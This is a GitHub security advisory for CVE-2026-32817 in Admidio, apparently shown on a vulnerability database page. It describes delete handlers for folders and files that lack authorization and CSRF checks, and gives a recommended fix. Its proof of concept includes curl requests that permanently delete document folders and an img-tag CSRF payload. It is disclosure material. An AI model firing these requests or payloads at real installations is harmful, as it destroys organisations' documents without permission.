GHSA-RMPJ-3X5M-9M5F

Vulnerability from github – Published: 2026-03-16 21:18 – Updated: 2026-03-20 21:19
VLAI?
Summary
Admidio is Missing Authorization and CSRF Protection on Document and Folder Deletion
Details

Summary

The documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The folder_delete and file_delete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $_GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documents_files_module_enabled = 1) and a folder is marked public (fol_public = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.

Details

Module Access Check

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 72-76

The module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:

if ($gSettingsManager->getInt('documents_files_module_enabled') === 0) {
    throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('documents_files_module_enabled') === 2 && !$gValidLogin) {
    throw new Exception('SYS_NO_RIGHTS');
}

Vulnerable Code Path 1: Folder Deletion

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 122-133

case 'folder_delete':
    if ($getFolderUUID === '') {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    } else {
        $folder = new Folder($gDb);
        $folder->getFolderForDownload($getFolderUUID);  // VIEW check only

        $folder->delete();                               // no CSRF token, no upload/admin check
        echo json_encode(array('status' => 'success'));
    }
    break;

The target UUID is read exclusively from $_GET at line 64:

$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', ...);

Vulnerable Code Path 2: File Deletion

File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 150-161

case 'file_delete':
    if ($getFileUUID === '') {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    } else {
        $file = new File($gDb);
        $file->getFileForDownload($getFileUUID);  // VIEW check only

        $file->delete();                           // no CSRF token, no upload/admin check
        echo json_encode(array('status' => 'success'));
    }
    break;

Same pattern as folder_delete. The file UUID is also read from $_GET (line 69).

getFolderForDownload Grants VIEW Access to Public Folders Without Login

File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 432-438

// If the folder is public (and the file is not locked) => allow
if ($this->getValue('fol_public') && !$this->getValue('fol_locked')) {
    return true;
}

This is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.

Contrast with Other Write Operations (Properly Protected)

All other write operations in documents-files.php route through DocumentsService, which validates the CSRF token via getFormObject($_POST['adm_csrf_token']) before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.

Folder::delete() Is Recursive and Permanent

File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 213-259

Folder::delete() recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to folder_delete on the root folder permanently destroys the entire document library.

UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)

File: D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php, lines 546, 589

The presenter renders delete action links only when the user has upload rights (hasUploadRight()). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.

PoC

Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)

Prerequisites: documents_files_module_enabled = 1, target folder has fol_public = true.

Step 1: Discover folder UUIDs by fetching the public document list (no login needed):

curl "https://TARGET/adm_program/modules/documents-files.php?mode=list"

Step 2: Delete the entire folder tree permanently:

curl "https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<FOLDER_UUID>"

Expected response: {"status":"success"}

The folder, all its sub-folders, and all their files are permanently removed from the database and filesystem. No authentication or token is required.

Scenario 2: Authenticated view-only member deletes any accessible file

Prerequisites: documents_files_module_enabled = 2 (members-only). Attacker has a regular member account with view rights to the target folder but no upload rights.

curl "https://TARGET/adm_program/modules/documents-files.php?mode=file_delete&file_uuid=<FILE_UUID>" \
  -H "Cookie: ADMIDIO_SESSION_ID=<view_only_session>"

Expected response: {"status":"success"}

Scenario 3: Cross-site GET CSRF via image tag

Because deletion uses a plain GET request with no token, an attacker can embed the following in any HTML email or web page. When a logged-in Admidio member views the page, their browser fetches the URL with the session cookie attached:

<img src="https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<UUID>" width="1" height="1">

Impact

  • Unauthenticated Data Destruction: When the module is in public mode and any folder is marked public, an unauthenticated remote attacker can permanently delete any or all documents and folders. No credentials or tokens are required.
  • Privilege Escalation (View to Delete): Any logged-in member with view-only access can delete content they are only permitted to read, bypassing the hasUploadRight() permission boundary.
  • Cross-Site CSRF: Because UUIDs appear in page URLs visible to authenticated users, an attacker can embed a GET-based CSRF payload in phishing content to trigger deletion on behalf of any victim.
  • No Recovery Path: Folder::delete() and File::delete() are permanent operations. The only recovery is from a database and filesystem backup.
  • Full Organizational Impact: Deletion of the root documents folder recursively removes the entire document library of the organization.

Recommended Fix

Fix 1: Add authorization check and CSRF token validation to both delete handlers

case 'folder_delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    if ($getFolderUUID === '') {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    }
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);
    if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$folder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    $folder->delete();
    echo json_encode(array('status' => 'success'));
    break;

case 'file_delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    if ($getFileUUID === '') {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    }
    $file = new File($gDb);
    $file->getFileForDownload($getFileUUID);
    $parentFolder = new Folder($gDb);
    $parentFolder->readDataById((int)$file->getValue('fil_fol_id'));
    if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$parentFolder->hasUploadRight()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    $file->delete();
    echo json_encode(array('status' => 'success'));
    break;

Fix 2: Move folder_uuid and file_uuid to POST parameters for delete operations

Reading the UUID from $_GET enables GET-based CSRF. Moving to $_POST and validating the CSRF token together closes both issues simultaneously.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32817"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T21:18:10Z",
    "nvd_published_at": "2026-03-20T02:16:35Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The `folder_delete` and `file_delete` action handlers in `modules/documents-files.php` only perform a VIEW authorization check (`getFolderForDownload` / `getFileForDownload`) before calling `delete()`, and they never validate a CSRF token. Because the target UUIDs are read from `$_GET`, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (`documents_files_module_enabled = 1`) and a folder is marked public (`fol_public = true`), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.\n\n## Details\n\n### Module Access Check\n\nFile: `D:/bugcrowd/admidio/repo/modules/documents-files.php`, lines 72-76\n\nThe module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:\n\n```php\nif ($gSettingsManager-\u003egetInt(\u0027documents_files_module_enabled\u0027) === 0) {\n    throw new Exception(\u0027SYS_MODULE_DISABLED\u0027);\n} elseif ($gSettingsManager-\u003egetInt(\u0027documents_files_module_enabled\u0027) === 2 \u0026\u0026 !$gValidLogin) {\n    throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n}\n```\n\n### Vulnerable Code Path 1: Folder Deletion\n\nFile: `D:/bugcrowd/admidio/repo/modules/documents-files.php`, lines 122-133\n\n```php\ncase \u0027folder_delete\u0027:\n    if ($getFolderUUID === \u0027\u0027) {\n        throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n    } else {\n        $folder = new Folder($gDb);\n        $folder-\u003egetFolderForDownload($getFolderUUID);  // VIEW check only\n\n        $folder-\u003edelete();                               // no CSRF token, no upload/admin check\n        echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    }\n    break;\n```\n\nThe target UUID is read exclusively from `$_GET` at line 64:\n\n```php\n$getFolderUUID = admFuncVariableIsValid($_GET, \u0027folder_uuid\u0027, \u0027uuid\u0027, ...);\n```\n\n### Vulnerable Code Path 2: File Deletion\n\nFile: `D:/bugcrowd/admidio/repo/modules/documents-files.php`, lines 150-161\n\n```php\ncase \u0027file_delete\u0027:\n    if ($getFileUUID === \u0027\u0027) {\n        throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n    } else {\n        $file = new File($gDb);\n        $file-\u003egetFileForDownload($getFileUUID);  // VIEW check only\n\n        $file-\u003edelete();                           // no CSRF token, no upload/admin check\n        echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    }\n    break;\n```\n\nSame pattern as `folder_delete`. The file UUID is also read from `$_GET` (line 69).\n\n### getFolderForDownload Grants VIEW Access to Public Folders Without Login\n\nFile: `D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php`, lines 432-438\n\n```php\n// If the folder is public (and the file is not locked) =\u003e allow\nif ($this-\u003egetValue(\u0027fol_public\u0027) \u0026\u0026 !$this-\u003egetValue(\u0027fol_locked\u0027)) {\n    return true;\n}\n```\n\nThis is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.\n\n### Contrast with Other Write Operations (Properly Protected)\n\nAll other write operations in `documents-files.php` route through `DocumentsService`, which validates the CSRF token via `getFormObject($_POST[\u0027adm_csrf_token\u0027])` before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.\n\n### Folder::delete() Is Recursive and Permanent\n\nFile: `D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php`, lines 213-259\n\n`Folder::delete()` recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to `folder_delete` on the root folder permanently destroys the entire document library.\n\n### UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)\n\nFile: `D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php`, lines 546, 589\n\nThe presenter renders delete action links only when the user has upload rights (`hasUploadRight()`). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.\n\n## PoC\n\n**Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)**\n\nPrerequisites: `documents_files_module_enabled = 1`, target folder has `fol_public = true`.\n\nStep 1: Discover folder UUIDs by fetching the public document list (no login needed):\n\n```\ncurl \"https://TARGET/adm_program/modules/documents-files.php?mode=list\"\n```\n\nStep 2: Delete the entire folder tree permanently:\n\n```\ncurl \"https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete\u0026folder_uuid=\u003cFOLDER_UUID\u003e\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\nThe folder, all its sub-folders, and all their files are permanently removed from the database and filesystem. No authentication or token is required.\n\n**Scenario 2: Authenticated view-only member deletes any accessible file**\n\nPrerequisites: `documents_files_module_enabled = 2` (members-only). Attacker has a regular member account with view rights to the target folder but no upload rights.\n\n```\ncurl \"https://TARGET/adm_program/modules/documents-files.php?mode=file_delete\u0026file_uuid=\u003cFILE_UUID\u003e\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=\u003cview_only_session\u003e\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\n**Scenario 3: Cross-site GET CSRF via image tag**\n\nBecause deletion uses a plain GET request with no token, an attacker can embed the following in any HTML email or web page. When a logged-in Admidio member views the page, their browser fetches the URL with the session cookie attached:\n\n```html\n\u003cimg src=\"https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete\u0026folder_uuid=\u003cUUID\u003e\" width=\"1\" height=\"1\"\u003e\n```\n\n## Impact\n\n- **Unauthenticated Data Destruction:** When the module is in public mode and any folder is marked public, an unauthenticated remote attacker can permanently delete any or all documents and folders. No credentials or tokens are required.\n- **Privilege Escalation (View to Delete):** Any logged-in member with view-only access can delete content they are only permitted to read, bypassing the `hasUploadRight()` permission boundary.\n- **Cross-Site CSRF:** Because UUIDs appear in page URLs visible to authenticated users, an attacker can embed a GET-based CSRF payload in phishing content to trigger deletion on behalf of any victim.\n- **No Recovery Path:** `Folder::delete()` and `File::delete()` are permanent operations. The only recovery is from a database and filesystem backup.\n- **Full Organizational Impact:** Deletion of the root documents folder recursively removes the entire document library of the organization.\n\n## Recommended Fix\n\n### Fix 1: Add authorization check and CSRF token validation to both delete handlers\n\n```php\ncase \u0027folder_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n    if ($getFolderUUID === \u0027\u0027) {\n        throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n    }\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);\n    if (!$gCurrentUser-\u003eisAdministratorDocumentsFiles() \u0026\u0026 !$folder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n    $folder-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n\ncase \u0027file_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n    if ($getFileUUID === \u0027\u0027) {\n        throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n    }\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);\n    $parentFolder = new Folder($gDb);\n    $parentFolder-\u003ereadDataById((int)$file-\u003egetValue(\u0027fil_fol_id\u0027));\n    if (!$gCurrentUser-\u003eisAdministratorDocumentsFiles() \u0026\u0026 !$parentFolder-\u003ehasUploadRight()) {\n        throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n    }\n    $file-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n### Fix 2: Move folder_uuid and file_uuid to POST parameters for delete operations\n\nReading the UUID from `$_GET` enables GET-based CSRF. Moving to `$_POST` and validating the CSRF token together closes both issues simultaneously.",
  "id": "GHSA-rmpj-3x5m-9m5f",
  "modified": "2026-03-20T21:19:26Z",
  "published": "2026-03-16T21:18:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32817"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio is Missing Authorization and CSRF Protection on Document and Folder Deletion"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…